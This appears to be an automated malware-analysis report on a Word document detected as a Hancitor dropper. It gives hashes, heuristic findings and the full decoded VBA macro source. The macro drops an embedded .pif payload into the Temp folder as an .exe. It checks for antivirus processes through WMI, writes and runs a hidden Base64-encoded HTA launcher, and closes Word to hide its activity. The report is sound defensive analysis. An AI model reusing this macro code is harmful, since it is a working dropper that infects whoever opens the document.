Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 6dcf41dd62e90987…

MALICIOUS

Office (OLE)

206.0 KB Created: 2018-09-26 13:21:00 Authoring application: Microsoft Office Word First seen: 2019-05-10
MD5: 8cc78ee9eb6b9a5d34067a4294903f01 SHA-1: c2f99644d52317213948fef75b26678aa0cc2bf9 SHA-256: 6dcf41dd62e909876e9ef10bd376ea3a6765c2ecb281844fc4bebd70bfebeb27
898 Risk Score

Malware Insights

MITRE ATT&CK
T1203 Exploitation for Client Execution T1059.005 Visual Basic T1105 Ingress Tool Transfer

The sample is a malicious Microsoft Word document that leverages CVE-2007-3899 for memory corruption, leading to the execution of embedded VBA macros. The Document_Open macro utilizes WScript.Shell and WMI to launch a Base64-decoded command stager, which appears to be 'cmd.exe /c ping localhost -n 100 &&'. This macro also attempts to save the document as an XML document and quit the application, likely to conceal its activity. Furthermore, an embedded PE executable and an Ole10Native package are present, indicating the dropper's intent to deploy additional malicious components.

Heuristics 22

  • CVE-2007-3899 — Microsoft Word malformed string memory corruption critical CVE likely CVE_2007_3899
    Word OLE document has the MS07-060 malformed-string exploit shape: a Word 97-family FIB points to a malformed DOP/string-table region with an abnormal INT_MAX run, inflated text counters, and exploit payload or Mdropper.Z campaign evidence.
  • Office EPRINT stream contains EMF object high CVE related OLE_EPRINT_EMF_OBJECT
    OLE ObjectPool contains an EPRINT stream with EMF data. This is rare in normal documents and is related Office object-delivery evidence when paired with exploit payload anomalies, but the malformed graphics record required for exact CVE attribution is not proven by this rule alone.
  • ClamAV: Doc.Dropper.Hancitor-6774061-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Hancitor-6774061-0
  • XOR-encoded strings (key 0xC3) critical SC_XOR_ENCODED
    Found 3 Windows library/API name(s) XOR-encoded with single-byte key 0xC3: 'LoadLibraryA', 'GetProcAddress', 'VirtualAlloc'
    Disassembly hidden — these bytes score as data, not coherent x86 code (no internal branches to corroborate control flow).
  • Embedded PE executable critical OLE_EMBEDDED_EXE
    MZ/PE header found inside document — possible embedded executable
  • Ole10Native package drops an auto-executable payload critical OFFICE_PACKAGE_RISKY_FILE
    OLE Package displayName or fullPath ends in a directly auto-executable extension (a runnable binary or a script the default shell host runs on double-click). Embedding such a payload inside an Office document has no benign authoring use — it is a malware-delivery dropper.
  • VBA macros detected medium 9 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
      Shell StrConv(DecodeBase64("Y21kLmV4ZSAvYyAgcGluZyBsb2NhbGhvc3QgLW4gMTAwICYmIA=="), vbUnicode) & Environ(StrConv(DecodeBase64("VGVtcA=="), vbUnicode)) & "\6.e" & "x" & "e", vbHide
  • WScript.Shell usage critical OLE_VBA_WSCRIPT
    WScript.Shell usage
    Matched line in script
    Set wsh = VBA.CreateObject("WScript.Shell")
  • VBA WMI Win32_Process launcher critical OLE_VBA_WMI_PROCESS_CREATE
    VBA macro builds or references a WMI moniker for Win32_Process and invokes .Create to start a command. This is a high-confidence macro execution chain that often hides the WMI class name through string concatenation or helper functions.
    Matched line in script
    Set vcxvxczcv = GetObject("wi" & "nmgmts:")
  • VBA Base64-decoded Shell command stager critical OLE_VBA_BASE64_SHELL_COMMAND_STAGER
    VBA auto-exec macro decodes Base64 string literals into command or script-launch text and executes the result with Shell. This catches cmd/cscript/PowerShell/VBS launchers hidden from plain keyword matching.
    Matched line in script
    Set vcxvxczcv = GetObject("wi" & "nmgmts:")
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    Set wsh = VBA.CreateObject("WScript.Shell")
  • GetObject call high OLE_VBA_GETOBJ
    GetObject call
    Matched line in script
    Set vcxvxczcv = GetObject("wi" & "nmgmts:")
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    Private Sub Document_Open()
  • Environ() call (env variable access) low OLE_VBA_ENVIRON
    Environ() call (env variable access)
    Matched line in script
    Open Environ("Temp") & "\1.hta" For Output As #1
  • Reference to Windows Script Host high SC_STR_WSCRIPT
    Reference to Windows Script Host
  • Reference to GetProcAddress API high SC_STR_GETPROCADDRESS
    Reference to GetProcAddress API
  • Suspicious extracted artifact high EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Reference to VirtualAlloc API medium SC_STR_VIRTUALALLOC
    Reference to VirtualAlloc API
  • Reference to VirtualProtect API medium SC_STR_VIRTUALPROTECT
    Reference to VirtualProtect API
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://ns.adobe.com/xap/1.0/ In document text (OLE body)
    • http://www.w3.org/1999/02/22-rdf-syntax-ns#In document text (OLE body)
    • http://ns.adobe.com/xap/1.0/mm/In document text (OLE body)
    • http://ns.adobe.com/xap/1.0/sType/ResourceRef#In document text (OLE body)
    • http://schemas.openxmlformats.org/officeDocument/2006/bibliographyIn document text (OLE body)
    • http://schemas.openxmlformats.org/officeDocument/2006/customXmlIn document text (OLE body)
    • http://schemas.openxmlformats.org/drawingml/2006/mainIn document text (OLE body)

Extracted artifacts 4

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 6034 bytes
SHA-256: d7cfeac7070878e8b2d2978b2cedfa2d74d51b3124a8db254ca10834bf36c1de
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 2 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_Open()
On Error Resume Next


Call kfs
    


Call sdfsdf

 Set d = New DataObject
    d.SetText " "
    d.PutInClipboard
    Selection.MoveUp Unit:=wdScreen, Count:=7
   Selection.MoveUp Unit:=wdScreen, Count:=7
    Selection.MoveLeft Unit:=wdCharacter, Count:=13

  Dim t As Date
    t = Now
    Do
        DoEvents
    Loop Until Now >= DateAdd("s", 3, t)


Call Module1.killo

End Sub

Private Sub Document_Close()
Call closee

End Sub

Private Function DecodeBase64(ByVal strData As String) As Byte()

 

    Dim objXML As MSXML2.DOMDocument
    Dim objNode As MSXML2.IXMLDOMElement
    

    Set objXML = New MSXML2.DOMDocument
    Set objNode = objXML.createElement("b64")
    objNode.dataType = "bin.base64"
    objNode.Text = strData
    DecodeBase64 = objNode.nodeTypedValue
    
    Set objNode = Nothing
    Set objXML = Nothing

 

End Function

Attribute VB_Name = "Module1"
Sub killo()
ActiveDocument.SaveAs FileName:=ActiveDocument.FullName, FileFormat:=wdFormatXMLDocument
Application.Quit
End Sub

Attribute VB_Name = "Module2"
Sub closee()


Dim kjfaa

kjfaa = "bd" & "agent.exe"

Dim yrtfdsad, vcxvxczcv
Dim mbbmbdf
Set vcxvxczcv = GetObject("wi" & "nmgmts:")
Dim gfdfsfsfs
Set yrtfdsad = vcxvxczcv.ExecQuery("SELECT * FROM Win32_Process")
Dim hdffsdfs
For Each x In yrtfdsad
Set wsh = VBA.CreateObject("WScript.Shell")
Dim pipec As Boolean: pipec = True


 If x.Name = kjfaa Then
 Dim kk
 kk = StrConv(DecodeBase64("IFd" & "JTkRPV1NUQVRFPSJub3JtYWwiPg0KICAgIDxzY3JpcHQgdHlwZT0idGV4dC9qYXZhc2NyaXB0IiBsYW5ndWFnZT0iamF2YXNjcmlwdCI+DQogICAgDQogICAgICAgIFdzaFNoZWxsID0gbmV3IEFjdGl2ZVhPYmplY3QoIldTY3JpcHQuU2hlbGwiKTsNCiAgICAgICAgV3NoU2hlbGwuUnVuKCI2LmV4ZSIsIDEsIGZhbHNlKTsNCiAgICAgICAgDQogICAgPC9zY3JpcHQ+DQogPFNDUklQVCBMQU5HVUFHRT0iVkJTY3JpcHQiPg0KICAgICAgICAgIFdpbmRvdy5DbG9zZQ0KICAgICA8L1NDUklQVD4NCjwvaGVhZD4NCjxib2R5Pg0KICAgDQo8L2JvZHk+DQo8L2h0bWw+DQo="), vbUnicode)
 
Open Environ("Temp") & "\1.hta" For Output As #1
  Print #1, StrConv(DecodeBase64("PGh0bWw+DQo8aGVhZD4NCiA8U0NSSVBUIExBTkdVQUdFPSJWQlNjcmlwdCI+DQogICAgICAgICAgV2luZG93Lk1vdmVUbyAtMzIwMDAsIC0zMjAwMA0KICAgICA8L1NDUklQVD4NCiAgICA8dGl0bGU+QXBwbGljYXRpb24gRXhlY3V0ZXI8L3RpdGxlPg0KICAgIDxIVEE6QVBQTElDQVRJT04gSUQ9Im9NeUFwcCIgDQogICAgICAgIEFQUExJQ0FUSU9OTkFNRT0iQXBwbGljYXRpb24gRXhlY3V0ZXIiIA0KICAgICAgICBCT1JERVI9Im5vIg0KICAgICAgICBDQVBUSU9OPSJubyINCiAgICAgICAgU0hPV0lOVEFTS0JBUj0ieWVzIg0KICAgICAgICBTSU5HTEVJTlNUQU5DRT0ieWVzIg0KICAgICAgICBTWVNNRU5VPSJ5ZXMiDQogICAgICAgIFNDUk9MTD0ibm8i"), vbUnicode)
  Print #1, kk
  Close #1
  
ChDir Environ("Temp")
wsh.Run Environ("Temp") & "\1.hta", 0, False
Exit Sub
   End If
    
   
    If x.Name = "PSUAMain.exe" Then

  Shell StrConv(DecodeBase64("Y21kLmV4ZSAvYyAgcGluZyBsb2NhbGhvc3QgLW4gMTAwICYmIA=="), vbUnicode) & Environ(StrConv(DecodeBase64("VGVtcA=="), vbUnicode)) & "\6.e" & "x" & "e", vbHide

Exit Sub
   End If
   
       If x.Name = "n360.exe" Then

  Shell Environ(StrConv(DecodeBase64("VGVtcA=="), vbUnicode)) & "\6.e" & "x" & "e", vbHide

Exit Sub
   End If
Next


Shell StrConv(DecodeBase64("Y21kLmV4ZSAvYyAgcGluZyBsb2NhbGhvc3QgLW4gMTAwICYmIA=="), vbUnicode) & Environ(StrConv(DecodeBase64("VGVtcA=="), vbUnicode)) & StrConv(DecodeBase64("XDYucGlm"), vbUnicode), vbHide


End Sub


Private Function DecodeBase64(ByVal strData As String) As Byte()

 

    Dim objXML As MSXML2.DOMDocument
    Dim objNode As MSXML2.IXMLDOMElement
    

    Set objXML = New MSXML2.DOMDocument
    Set objNode = objXML.createElement("b64")
    objNode.dataType = "bin.base64"
    objNode.Text = strData
    DecodeBase64 = objNode.nodeTypedValue
    
    Set objNode = Nothing
    Set objXML = Nothing

 

End Function



Attribute VB_Name = "Module3"
Sub kfs()
Selection.MoveDown Unit:=wdScreen, Count:=7
    Selection.MoveDown Unit:=wdScreen, Count:=7
 Selection.MoveRight Unit:=wdCharacter, Count:=24
    Selection.TypeBackspace
        Selection.Copy

End Sub

Attribute VB_Name = "Module4"

Sub sdfsdf()

Dim kk, lll, jgf, tyretw, gdfsfsa
gdfsfsa = "6"
jgf = "x" & "e"

tyretw = jgf & "p" & "i" & "f"
kk = ".p" & "if"
lll = "6" & ".e"
ChDir Environ("Temp")
Selection.TypeBackspace

   Dim FSO As Object
Set FSO = CreateObject("scripting.filesystemobject")


FSO.copyfile Source:="5C" & kk, Destination:=lll & jgf
Call fadf
End Sub
Private Function DecodeBase64(ByVal strData As String) As Byte()

 

    Dim objXML As MSXML2.DOMDocument
    Dim objNode As MSXML2.IXMLDOMElement
    

    Set objXML = New MSXML2.DOMDocument
    Set objNode = objXML.createElement("b64")
    objNode.dataType = "bin.base64"
    objNode.Text = strData
    DecodeBase64 = objNode.nodeTypedValue
    
    Set objNode = Nothing
    Set objXML = Nothing

 

End Function
Sub fadf()
kk = ".p" & "if"

   Dim FSO As Object
Set FSO = CreateObject("scripting.filesystemobject")

FSO.copyfile Source:="5C" & kk, Destination:="6" & ".pif"
End Sub


Attribute VB_Name = "UserForm3"
Attribute VB_Base = "0{83AB5017-35E9-4E82-ABEC-8CDD9DB2E845}{F9F82B7C-5472-49E8-A4D2-AE169984D5AE}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "UserForm1"
Attribute VB_Base = "0{85DA4BDA-9E13-4F4B-A0CE-FDD8D35819E2}{80F6A619-8107-492D-A665-0C0C1C62E254}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
embedded_office_00016c66.exe embedded-pe Office MZ+PE at offset 0x16C66 117658 bytes
SHA-256: 5571dea10860ac6fc9d7f5aa5fc1b7407f35fe438bd7248431daf20a25752bb9
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Static shellcode analysis recovered command string(s): WScript.Shell Carved macro source contains an auto-exec entry point and execution/download terms.
ole10native_00.bin ole-package OLE Ole10Native stream: ObjectPool/_1599484062/Ole10Native 70420 bytes
SHA-256: 7379e05c2aabe051873b2d5c7733d464b0f79ee4f383ccf5a71acd1b2cdef9d5
ole10native_00_5C.pif ole-package-payload OLE Ole10Native payload: ObjectPool/_1599484062/Ole10Native; display_name=5C.pif; full_path=C:\Users\win7home\AppData\Local\Temp\5C.pif; temp_path=; def_file= 70144 bytes
SHA-256: c82081823ba468ad2d10c4beca700a7bf0ba82b371bc57286cc721e271019080